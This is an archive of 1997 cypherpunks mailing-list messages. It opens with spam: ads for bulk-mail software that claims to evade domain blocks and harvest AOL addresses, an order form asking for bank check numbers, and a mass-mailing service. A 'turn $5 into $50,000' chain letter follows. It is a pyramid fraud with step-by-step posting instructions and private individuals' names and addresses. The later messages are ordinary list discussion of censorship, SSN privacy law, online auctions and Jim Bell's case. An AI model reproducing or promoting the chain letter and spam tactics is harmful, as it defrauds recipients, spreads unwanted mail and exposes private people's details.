ISP for sending your mail with, avoiding having to search for bulk friendly
ISP's or other undesirable means to accomplish mass mailings. Click here to
view X-15.

  ELM is a Email List Manager that will allow you to easily manage all your
lists with just your mouse. Here is some of the tasks accomplished by ELM:

   * 1) Compare and remove differences between any two lists.

   * 2) Merge any kind and number of lists and will auto sort and remove
     duplicates quickly.

   * 3) Split any list into smaller list.

   * 4) Generate targeted lists that matches your target audience to use
     with X-15 in mailing your message to.

   * 5) Generate AOL addresses from captured AOL chat rooms. AOL has over
     300,000 new members signing up a month, there is no other way of
     obtaining all these new members addresses than this. Using any other
     bulk mail program would only yield 5% of these new members!

   * 6) Auto extract 'remove' requests.

Complete users guide to help walk you along step by step in a hyper-link style format along with useful bonus software. Learn how to send mass e-mail ll the time without hassle and needing to join a service and for free if you wish. How to get around online services domain blocks so that all your
e-mail is assured of being delivered.

You will also receive software as a means to link you up to a mail gateway so that you can start sending mail thru right away without delay at
no cost or sign-up requirements if you so choose to use this option. You can
then securely send mass mail and post newsgroup messages anonymously. What a
deal!

If you are going to make MEGA Income in this business, there is only one way
to do it; and ONLY one way. I will reveal to you the right way so you can
stop doing it the wrong way. Let the competition continue doing it the old
way so you can cash in on their ignorance. You will NOT find this
information anywhere else. It is extremely confidential. You will be asked
to sign a non-disclosure with your order to prevent the disclosure of this
information.

If you are currently happy with your e-mail marketing, then it makes even
more sense to use this program to compliment your existing marketing to
maximize your marketing efforts because there is simply nothing like this!


BULKMAN-PRO was designed to sell for $1695.95
It is a Professional Bulk E-mail system.

Order within 10 days from the date on this message and you get:

The X-15 Rocket Mailer		Retail	$499.00
CSA Address Generator				$395.00
AOL Address Generator				$495.00
Bulk E-mail Tools & Guide				$299.00


Get the COMPLETE package for a INTRODUCTORY Price of $499.95 plus $3.50 Shipping & Handling.  All orders received after the tenth day following the date on this MESSAGE will be charged the normal discounted rate of $699.95 plus $3.50 Shipping & Handling

Also included if you order within the next 10 days:
BONUS*** FREE Newsgroup Posting device which allows you to
         post 1 or 1,000 newsgroups at once.
         FREE Bulk E-mail Extractor that allows you to                       	    extract e-mail addresses from the Internet.

SAVE $200 -  ORDER today!

Take Advantage of the 10 DAY DISCOUNT SPECIAL!

The BULKMAM PRO comes with a 100% UNCONDITIONAL MONEY BACK GUARANTEE.   You have everything to GAIN and NOTHING to lose!  

FOR YOUR CONVENIENCE WE ACCEPT ALL FORMS OF PAYMENT
CASH, CHECK, M.O., CREDIT CARD, CHECKS BY FAX, PHONE OR E-MAIL.

MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE

BULKMAN PRO is the complete Internet Business in a Box.

ROCKET YOUR WAY TO WEALTH IN CYBERSPACE!

NON-DISCLOSURE

I Agree not to reveal, make available the information I am to receive from Jim Smyser to anyone.  This information is confidential, and I hereby agree to keep it strictly confidential and to myself.

Signature: ____________________________________

GUARANTEE:  YOU HAVE A LIMITED 10 GRACE PERIOD in which you can return your purchase for full refund if it does not meet your requirements.  After 10 days there are no refunds.  Please understand this policy before ordering.

TO GUARANTEE YOU GET THE INTRODUCTORY PRICE
PLEASE INCLUDE A COPY OF THIS MESSAGE AND DATE RECEIVED.

(Name)_________________________________________
(Address)______________________________________
(City, State & Zip)____________________________
e-mail address ________________________________
WE ACCEPT CHECKS OVER THE TELEPHONE, OR BY FAX
for your orders.  
Fax your order to: 213-737-1497
Enclosed is a check for $___________
Check Ordering Info:
MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE
Name (exactly as it appears on check
_______________________________________
Check #				Dollar Amount
________________ 		$________________
Telephone #
__________________
Bank Name:
_____________________
Bank Address
______________________________________________
Numbers at Bottom of Check(read from left to right, please indicate blank spaces with a space:
________________________________________________
 
Charge My
(VISA) or (MASTERCARD) or (AMEX)
Number _ _ _ _ -_ _ _ _ -_ _ _ _ -_ _ _ _ 
Expiration Date _____    Approved ______________    
(card holder)  Credit Card orders call
1(213)-737-1494 

DISTRIBUTORS:

Snail mail Address 
Phoenix Interactive				Global Enterprises
P.O. Box 88506				7025 OldTrail Road Los Angeles, CA  90009	                                Suite9178	
		                                                Fort Wayne, IN                                                                                      46899

ANOTHER PHOENIX @ GLOBAL ASSOCIATION


 







 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SerenityInfo@savetrees.com
Date: Wed, 28 May 1997 08:33:31 -0700 (PDT)
To: Editor3333@aol.com
Subject: Big Sale!  3 million Emails for $500 Plus Free 2yr Autoresponder!
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain



                                    TO BE REMOVED FROM OUR LISTS
                     Place REMOVE in the SUBJECT Line after hitting REPLY
       ************************************************************************************
                             
                            SERENITY ENTERPRISES UNLIMITED INC.
                                           The Email Professionals
                                                in partnership with
                                     Mail Boxes Etc.of South Florida
              Fax number 954-739-5296 for Checks by Fax or Credit Card Orders
                                      Phone Number 954-974-2938
       
                         Direct Email Address is Serenity@pinmail.com

               Special Services to be offered in the next few weeks to you!                 

                  LOWEST PRICE WEB HOSTING ANYWERE!  From $60 a Year!
         PINMAIL FOR PRIVATE MAIL AND FORWARDING SERVICE   $20 a Year!
                 Web Page Creations from $10 per page - We Won't be beat!

We have professional equipment set up to do your bulk Emailing at incredible prices.
                  We accepts checks (Snail Mail or by Fax) & Mastercard/Visa.

   SPECIAL LIMITED TIME BONUS OFFER!!!!  TO THE FIRST 25 RESPONDEES

We can send your One Page Ad (not co-op) to 3 million customers for only  $500.00
Plus a Bonus of 1.5 million in a Co-op AD with a smaller ad of course directing them
to your Autoresponder.  

            BUT YOU DON'T HAVE AN AUTORESPONDER YOU SAY!!!!

Well for the next 15 Customers that order a Full Page Ad to be emailed to 3 million for $500 
will get a BULLET PROOF AUTORESPONDER ABSOLUTELY FREE!  Just for advertising 
with us once!!!!  No hidden charges and no catches!  FOR TWO FULL YEARS!!!!!
It is yours to do with what you want.  

Our system is a stealth system which protects your privacy from those FEW that 
might aggrevate you over the Bulk Mail Issue.  This allows your potential customer 
immediate access to further information while protecting your Email address and 
allowing you to obtain the necessary information about the potential customer, including 
name, phone number, their email address, while giving them necessary phone numbers 
and ordering information.

We operate from an approved server which DOES NOT bother those that have their 
PREFERRED mail shut off at AOL.  Our mail gets to those that wish to view it and leaves those
that don't want it alone.

CO-OP ADVERTISING

We can send your Co-op Ad for as littles as $100 to 1 million people.  5 or 6 lines.

CHARITIES AND SPECIAL SITUATIONS MAY GET FREE EMAILING

Call on contact us for availability or whether the situation qualifies.

SPECIAL RATES FOR PERSONAL ADS (NON BUSINESS)
Such as selling a car, home, renting your home, apt., misc. items etc. Personal ads 
can go out in a Co-op advertisement for as little as $50 Call for rates.

        REPEAT OR FREQUENT ADVERTISERS CAN GET SPECIAL DEALS!
We have dedicated computers that just do Mass Emailing.  24 hours 7 days a week! 
Our system automatically removes Returns or Requests for Removal.

We DO THE MAILING we promise and can send you ONE email at any address you 
wish per every 1000 mailed if you so desire.

NO MORE SCAMS for WE ARE REAL and if you want to REALLY SEND YOUR EMAIL  
the time is RIGHT NOW!!!

                         For More Information Email  "General2@answerme.com"

                                 Please Include your Name and Phone number

                                            Or Call Us at 954-974-2938

                                    Email us Directly at Serenity@pinmail.com
     
              *********************************************************************************

















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 47574096@microsoft.com
Date: Wed, 28 May 1997 23:25:18 -0700 (PDT)
To: scholar@archaeology.com
Subject: Mysteries of the Bible - Live on Tuesdays on the Web
Message-ID: <144523806421342786@scholarship.org>
MIME-Version: 1.0
Content-Type: text/plain



****** NOTE: There is no cost to enroll in this program. 
To participate and for further information please 
reply with the word "yes" in the subject line. ******


              A N N O U N C E M E N T

      Live on the Internet every Tuesday Night

   "Mysteries of the Bible Revealed and Resolved"

Contrary to the popular opinion created by Time and
Newsweek, every historical event in the Tanakh can be found
in the archaeological and historical records of the Near
East when our revised chronology is taken into account.

All events from Sodom and Gomorrah, through the captivity
in Egypt, the subsequent conquest of the land of Canaan to
the story of Esther will be presented in its archaeological
and historical context and the Biblical account shown to be
completely accurate.

Every Tuesday night, one topic will be presented live on
the Internet starting in the next few days with visuals,
expert interaction and debate by all who wish to be
involved. Each topic will be presented to enable the widest
possible audience to understand and participate. Moderated
by experts in each field.

Please inform all your friends and ask them to send their
e-mail address to:

bible@primesolution.com

for ongoing information.

Some topics to be covered include:

Creation vs. Evolution
Codes in the Torah.
Sodom & Gomorrah: 1.5 million bodies found!
The Famines of the Patriarchs - In Egyptian Records!
The Pyramids and The Sphinx, tombs or .......?
Kabbalah.
Who was the Pharaoh of the Exodus?
Dan, Dan, The Travelling Man
The Hyksos/The Israelites.
The Jericho Story: The Bible and the Archaeology match
at last.
The City of David found.
Solomon's Family - a son in Egypt!
Raiders of the Lost Ark: Found.
Hear Oh Israel, Where Oh Israel?...The Lost tribes...found.
Ezra and The Great Assembly?
The Aleph-Bais, alphabet or Holy Language?
Esther the truth at last.
The Dead Sea Scrolls, a mystery solved.
The Messiah in Prophesy and Reality.
The Times of the End.
etc.etc.etc.

Please note that the focus of this program is scholarly
rather than religious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: maxx@compuserve.com
Date: Thu, 29 May 1997 03:11:13 -0700 (PDT)
To: Friend@public.com
Subject: Best 100% anonymous e-mail software on earth!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Very low prices - far superior to Email Magnet, NetContact, Email Pro, Stealth Bomber etc.

For details - see www.cybermaxx.com
Or email maxx@keepmailing.com for enquiries.

Thank you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PROKILL@axp.cmpu.net
Date: Thu, 29 May 1997 18:59:15 -0700 (PDT)
To: wonderfulperson@aol.com
Subject: MIDI files galore and much, much more!!
Message-ID: <199702170025.GAA08056@prokill.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll just love it. Click on it now, don't wait, bookmark it and keep checking it 
out for great deals to come. 

"http://www.angelfire.com/ky/PROKILL/index.html"

Please forgive me for this e-mail, but I felt I just had to let more
people know about this great web page.

This page has many wonderful and exciting things on it.
More will be added daily! Bookmark it!

Roach Exterminator 

Kills Waterbugs, Silverfish, and Ants. Where they travel and in
their nests. Is an oderless white powder. This formula was proven to 
be 100% effective against Cockroaches and Waterbugs by the University 
of California over 30 years ago. Supplied in 4 oz. containers, enough 
to treat several average houses. The sprays all really useless when 
compared to this product. The ULTIMATE goal is to eliminate roaches
completely, but sprays just don't kill the cockroaches' eggs.

Follow use and safety instructions supplied with products.

Total cost is only $2.05 plus $2.95 for shipping and handling. For each
order, send $5.00 to: 
                   PRO-KILL 
                   79 Rose Marie Drive 
                   Elizabethtown, KY 42701

Online Ordering is available at:
"http://www.angelfire.com/ky/PROKILL/index.html"

GURANTEED to work!! Guranteed to love the webpage!
The new web page at "http://www.prokill.com/" will be great. It is not working yet.
We are making a deal to also have CD-ROMs (not XXX) for sale. 


Send us email at: "mailto:roachkill@prokill.com"

The web page has some net MIDIs.

To get off this list send email to remove@prokill.com. 
Thankyou, very much for your time and may GOD bless you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MoneyMan@goplay.com
Date: Fri, 30 May 1997 15:06:53 -0700 (PDT)
To: "(TURN $5.00 INTO $50,000)" < (MoneyMan@goplay.com)>
Subject: TURN $5.00 INTO $50,000 IN 6 WEEKS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <199705302112.OAA04889@iceland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




YOU CAN START YOUR OWN INTERNET BUSINESS IN YOUR SPARE TIME!!!

As you know the internet is growing at a tremendous rate. And
I'm sure you realize that millions of dollars are exchanged
for goods and services on the internet each day. Have you ever
said to yourself "I would like to use my computer too make
money" (or to make more money)??
WELL YOU CAN AND WILL MAKE THOUSANDS OF DOLLARS QUICKLY AND
EASILY IF YOU FOLLOW THESE SIMPLE INSTRUCTIONS!!!
The Business program outlined below is a simplified form of 
E-mail marketing. Do not take this opportunity lightly, it is a
powerful tool that will allow you to have your own business
and start you on the path to financial freedom.

I KNOW THIS BUSINESS WORKS!! IT HAS WORKED FOR ME AND IT WILL 
WORK FOR YOU. By the time you receive this business plan there 
is a good chance that I will have been removed from the system.
But thats ok because I have already made a tremendous amount of
money using this system, and I would like to see your life change 
as much as mine has. There is nothing more rewarding than 
knowing that I have helped many good and honest people enrich 
their lives. Follow the instructions listed below EXACTLY and
you will be on your way. Good Luck, and share the wealth.

                                    Sincerely,
                                        Samuel Abbott Ph.D.

STEP1).
Get 5 pieces of 8.5"x11" paper and write:
"Please add me to your information mailing list"
Now take 5 $1 bills and fold $1 inside each piece of paper.
Place the request and money in 5 seperate envelopes and seal.
Carefully address the envelopes with the 5 addresses provided
below.(Be sure to include a return address and a stamp!)
Now mail the requests In a timely manner.

#1) D. Ewing; 7620 Washington; Kansas City, Mo. 64114

#2) Shari Davis; 1635 Manning Way; Colorado Springs, CO. 80919 

#3) J. Turner; 5460 White Oak Ave #C207, Encino, CA 91316

#4) Steve Wrubel; 3234 Nebraska Place; Costa Mesa, CA. 92626

#5) E. Bennett; 18226 Ventura Blvd #202, Tarzana, CA 91356


STEP2).
Copy this entire business plan and make the following changes:
Remove the #1 name off the list.
Place your name in the #5 position and move the other 4 names
up. (#5moves to#4, #4moves to#3, #3moves to#2, #2moves to#1)
Your name is now the bottom of the list.

STEP3).
POST THIS ARTICLE ON AT LEAST 200 NEWSGROUPS!!!!!!!
E-MAIL THIS ARTICLE TO EVERYONE YOU CAN!!!!!!!
IMPORTANT NOTE: You MUST post this article to AT LEAST 200
newsgroups. There are about 45,000 newsgroups, with more being 
added every day. Each time you post on a newsgroup your message
will be seen by many different people.
You should send this article via E-mail to as many people as
possible. E-mail addresses are available for free through many 
sources on the internet. You can also purchase E-mail lists from
several companies for a very small fee.
Remember it's your business and the more places you send it
to, the better your chances of success! (I highly recommend
that you send it out to more than 200 places).
REMEMBER TO PUT A CATCHY PHRASE IN THE SUBJECT BOX.

CONGRATULATIONS YOU HAVE JUST JOINED A GROUP OF ENTREPRENEURS!

Let me review why this works.....
Send out 200 articles and with a 5% response you get $10.
Those 10 people send out 200 and at 5% you get $100.
Those 100 people send out 200 and at 5% you get $1000.
Those 1000 people send out 200 and at 5% you get $10,000.
Those 10,000 people send out 200 and at 5% you get $100,000.
EVERYDAY THOUSANDS OF PEOPLE JOIN THE INTERNET!!!!!!!!!!!

The above example is a perfect case scenerio. The response rate
varies typically from 2% to 10%. To increase your success rate
I suggest that you post this article to AT LEAST 200 newsgroups
and send it to as many individuals as possible. Remember many 
people will see this article when it is posted on a newsgroup!!
Also note that many of the people you send it to are likely to
send it out to more than 200 newsgroups and people.

You don't have to retype this article every time you send it, 
just follow the instructions below and you will see just how  
easy this business is. If you follow these simple instructions
there is no way you can lose. Every day several thousands of 
people get on the internet. Don't delay start today, you'll be 
glad you did!!!!!!!!!!!!!!!!!!!

POSTING TO NEWSGROUPS USING NETSCAPE:
1) Click on any newsgroup, like normal. 
    Then click on to " To News" in the top left corner of the 
    Newsgroups page. This will bring up a message box.
2) Fill in the subject box with a catchy phrase such as:
    $$$FAST CASH$$$, ARE YOU THE PERSON WHO..., or the like.
3) Now go to the message part of the box and retype this letter
    exactly as it is here. (The only thing you change is adding
    your name in the #5 position and moving the other addresses
     up 1 position each, thus removing the #1 name).
4) When you are done typing in the WHOLE letter, click on "File"
    above the send button, then "Save as..." DO NOT SEND YOUR
    LETTER UNTIL YOU SAVE IT!!(this is so you only have to type
     this once).
5) Now that you have saved the letter, go ahead and send your 
    First copy!(click the send button in the top left corner).
6) THIS IS WHERE YOU POST AT LEAST 200 TIMES!!! OK, go to any
    newsgroup article and click the "To News" button. Type in 
    Your catchy phrase in the SUBJECT BOX, then go to the body
    part of the message box and place your cursor there.
   NOW click on "Attachment" which is right below the SUBJECT BOX.
    Click on "attach file", then find the letter you saved, click
    once on your saved file, then click "Open", Then click "OK".
   If you did this right, you should see your filename in the
    attachment box and it will be shaded. 
   NOW POST AWAY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

IF YOU ARE USING INTERNET EXPLORER:
1) Its just as easy, Holding down the left mouse button,
    highlight this entire article, then press the the "CTRL" key
    and the "C" key at the same time to copy this letter.
2) Now go to the newsgroups and press "POST AN ARTICLE", Type in
    your catchy phrase in the subject box, and click the large  
    window below. Press "CTRL" and "V" and the article will 
    appear in the message window. **BE SURE TO MAKE YOUR ADDRESS 
    CHANGES TO THE 5 NAMES**
3) Now re-highlight the letter and RE-COPY it so you have the 
    changes...Then all you have to do for each newsgroup is
    press "CTRL" and "V" and press "POST" it's that easy!!!!!

 Thats it ! All you have to do is jump to different newsgroups
   and post away. For both methods it only takes about 30 seconds
   to post to each newsgroup. Once you get the hang of it.

REMEMBER THE MORE NEWSGROUPS YOU POST TO THE MORE MONEY YOU MAKE!!
 YOU MUST POST TO A MINIMUM OF 200 NEWSGROUPS!!!!!!!!!!!!!!!

You should start receiving replies within a week or so (sometimes
 they come within days)

BE SURE TO SEND OUT $1 TO THE PEOPLE ON THE LIST PROMPTLY!!!!!!!!!

PERSISTENCE AND HONESTY WILL REAP YOU HUGE REWARDS!!!!!!!!!!!!!

DO NOT TO LET THIS OPPORTUNITY PASS YOU BY!!!!!!!!!!!!!!!!!

FOR JUST $5 YOU CAN CHANGE YOUR LIFE!!!!!!!!!!!!!!!

REMEMBER: THE PERSON WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING.
 
Print this article so you have the addresses to send to, and the
 information on file.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MoneyMan@goplay.com
Date: Fri, 30 May 1997 18:47:01 -0700 (PDT)
To: "(TURN $5.00 INTO $50,000)" < (MoneyMan@goplay.com)>
Subject: Apology
Message-ID: <199705310106.SAA22257@iceland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a formal apology for the Chain letter I sent you. I was 
not aware at the time that things such as these were illegal. Please
be reassured that you will no longer be recieving any mail from me.
I am once again sorry if I have caused you any problems.



Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Sun, 1 Jun 1997 08:08:37 +0800
To: prolife@enterprise.net
Subject: Censored pages
Message-ID: <Pine.LNX.3.91.970601003623.361A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Message to prolife alliance, CCd to Cypherpunks list:

I noticed an article in .net a few days ago detailing how the prolife 
alliance, a UK anti-abortion group, had been required to remove images of 
aborted foetuses <sp?> from their web site. 

Clearly this is another incident of jackbooted motherfuckers censoring 
images that happen to contradict their particular brand of thuggery. 

I am sending this message to the prolife alliance to ask them to send a 
.zip or .tar`d file of their pages to me along with the censored images, 
I am also of course CCing this to cypherpunks to see if anyone out there 
not in the UK is also interested in mirroring these pages, if so send me 
email, or send direct to prolife@enterprise.net, who will, hopefully, 
provide us with a copy of these pages.

Note please cypherpunks that if there is any thread I do not wish to 
start it is a pro/anti abortion thread, therefore, I am making no 
judgements whatsoever, merely suggesting action to prevent censorship...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 14:16:56 +0800
To: cypherpunks@toad.com
Subject: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber Enemy
Message-ID: <199706010558.BAA18210@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:
>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

  I think it would be more appropriate to say that you are *selling*
your ass. Excuse me all to hell if my heart doesn't bleed purple piss
for your heroic efforts for the "rights of people" but I would prefer
for all of the time, money and effort people are putting into trying
to get the government *not* to fuck me, when they are going to do so
anyway, be put instead into developing technology to enable myself and
others to route around the damage caused by government.
  If the same amount of money that is spent on lobbying to get the
"least-bad law possible" passed was put into cypherpunk projects, then
before the President proposed crypto regulations he would have to 
decide if it was really important enough to him to put up with the
whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in 
the subject header.

  Most of the "rights" lobbyists are like hostage negotiators who tell
the hostage taker, "We'll let you kill two people without charging you
if you let the rest go."
  Don't hold your breath waiting for me to join in the applause for
your support of legislation compromising my privacy and freedom. As far
as I am concerned, most organizations with the word "Freedom" in their
name are a worse scourge than the politicians. They end up becoming
self-important whores that the government uses to get a showcase stamp
of approval on bad legislation.

  In short, "Tell the fans, not the players." I am certain that you 
can find a forum which will proclaim your sainthood for "almost"
accomplishing something useful, but the cypherpunks list is not it.
  Don't let the door hit you in the ass on your way out.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 1 Jun 1997 10:38:17 +0800
To: cypherpunks@cyberpass.net
Subject: SSN - when can agencies ask, and passports
Message-ID: <199706010225.EAA07743@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The privacy act of 1974 (public law 93-579) says that any government
agency has to provide you with the follwing when asking for a SSN:

1. If the disclosure is mandatory or optional

2. The statutory or other authority they have to ask for it

3. How it will be used

4. Any penalties for not disclosing it.

These should be in a "privacy act notice" the agency should already have.

As far as passports, I have a pointer to an article in the Western State
Law Review, Fall '92 issue by Stephen Kruger.  The title is Passports,
Social Security Numbers, & 26 USC sec 6039E where he points out that it is
probably unconstitutional to fine someone.

A plug is warranted since the above info (and a lot more of value) is in
Financial Privacy Report, Vol4N8 (August 1994) - I think back issues are
$15, but call first (612)-895-8757.  This issue is entitled 22 ways to
protect your social security number from thieves, snoops, and bureaucrats.
FPR / POB 1277 / Burnsville MN 55337







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 08:28:06 +0800
To: cypherpunks@toad.com
Subject: Economist on Net.Auctions
Message-ID: <v03020919afb71d9e9144@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Sun, 1 Jun 1997 00:04:02 -0700
To: dcsb@ai.mit.edu
Subject: Economist on Net.Auctions
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Comments: Please report misuse of this automated remailing service to
<remailer-admin@cajones.com>
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: nobody@huge.cajones.com (Huge Cajones Remailer)


no earth-shattering revelations, but tuesday's audience should do their
class reading for the pop quiz..

                              Going, going . . .

   THE Internet may have been the playground of the geeks for the past
   few decades, but its future belongs to an even more child-like tribe:
   economists. The network is becoming the ideal marketplace, where
   legions of buyers and sellers, both armed to the teeth with relevant
   information, can set prices as efficiently as any trading floor. As a
   result, market theories that have long been confined to
   business-school computer simulations can now have their day of
   reckoning as real people exchange real goods and money on-line.
   Nowhere is this better seen than with the economists' favourite sort
   of market: auctions.
        More than 150 auction sites are now open on the Web, selling
   everything from industrial machinery to rare stamps. Airlines such as
   Cathay Pacific and American have auctioned spare seats on their Web
   sites. AuctionWeb, which is a mixture of a classified-ad service and
   an auction room for people selling everything from rare Barbie dolls
   to barbecue grills, conducted 330,000 auctions on-line in the first
   quarter of this year alone. Onsale, the largest on-line auction
   service and one of the few profitable ones, sells $6m worth of
   computer equipment and electronic goods a month. Last month it became
   the first on-line auction firm to hit the stockmarket, going public at
   a valuation of nearly $100m.
        The Internet's chief advantage for auctioneers is the size of its
   audience. Its global reach brings a critical mass of buyers and
   sellers to the most popular auction sites, avoiding the problem of
   insufficient trading that bedevils many of their cousins in the
   physical world. Indeed, quick, easy virtual auctions carry a hint of
   the sort of hyper-efficient capitalism that Internet fans have long
   been promised.

read the rest at http://www.economist.com/issue/31-05-97/wb8772.html

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 2 Jun 1997 01:07:25 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <3.0.2.32.19970601095227.00b519d0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
>I guess everyone has forgotten about Jim Bell, but he is in no less
>need of help than he used to be.

Coverage locally has been pretty nil as of late.  I guess they are hopeing
that people will just forget.

>I would like to know how to help him, and suggest to organize his
>legal defense fund.

I am willing to contibute to it.  Anyone out there willing to keep track of
the money and make sure it gets to Jim?

I am resisting the temptation (OK, not very much) that we should set up his
defense fund ala AP betting, but at this point it is probably not that
funny...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Sun, 1 Jun 1997 23:13:08 +0800
To: cypherpunks@manifold.algebra.com
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future (fwd)
Message-ID: <199706011502.KAA07737@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Alexander 'Sasha' Chislenko -----

>From cpunks@manifold.algebra.com  Sun Jun  1 02:24:20 1997
Message-Id: <3.0.2.32.19970601030136.016359d0@netcom.com>
X-Sender: sasha1@netcom.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
Date: Sun, 01 Jun 1997 03:01:36 -0400
To: (Recipient list suppressed)
From: "Alexander 'Sasha' Chislenko" <sasha1@netcom.com>
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Hope you may be interested...

--------------------------------------------------------------------------
E X T R O  3:  Extropy Institute's Third Conference on the Future
               August 9-10 1997, Doubletree Hotel, San Jose, CA

Saturday (Aug 9) theme:  The Future of the Body and Brain.
Sunday  (Aug 10) theme: Future Infrastructure.

The conference will include presentations by Eric Drexler - nanotechnology
pioneer and chairman of the Foresight Institute, Gregory Stock - Author of
"Metaman", Kevin Kelly - executive editor of Wired, Max More - President
of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris
Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg,
and others, as well as panel sessions devoted to progress in Artificial
Intelligence, Investing in the Future, and Future of Gender and Sexuality.

Extropy Institute functions as a networking organization bringing together
scientists, technologists, entrepreneurs, philosophers, and artists who
share certain general interests including: extending life span, augmenting
intelligence (both cognitive and emotional), gaining access to space, and
achieving control over our own biology through genetic engineering,
bioengineering, neural-computer interfaces, and molecular nanotechnology.
We welcome all interested members of the public to attend and participate.

Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic
and neural network pioneer at USC, Roy Walford - leading gerontologist at
UCLA, Hans Moravec - Director of Carnegie-Mellon's Mobile Robotics Lab,
Michael Rothschild - author of Bionomics, and Ralph Merkle -
nanotechnologist at Xerox Parc.

For more information, please visit <http://www.extropy.org/extro3.htm>
or call (310) 398-0375 and leave your mailing address or email address,
or send email to more@extropy.org




-------------------------------------------------------------------
Alexander Chislenko   <http://www.lucifer.com/~sasha/home.html>
Great Thinkers page:  <http://www.lucifer.com/~sasha/thinkers.html>
-------------------------------------------------------------------

----- End of forwarded message from Alexander 'Sasha' Chislenko -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 22:41:22 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.95.970601101746.24207D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 31 May 1997, Lucky Green wrote:

> If that was the extend of the story, Bell wouldn't still be in jail.  The
> USC violations above may be the official charge, but they hardly justify
> keeping somebody locked up without bail. Bell is still in jail because he

The government is trying to persuade the judge that Bell is about to blow
up a Federal building, or poison water supplies, or something. So far the
judge has agreed and refused to consent to even bail conditions like house
arrest and radio bracelet. Bell could very well stay in jail for the
entirety of his trial.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 22:49:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: You've got to be kidding....
In-Reply-To: <v0310280aafb6af06fd32@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970601103404.24207F-100000@cp.pathfinder.com>
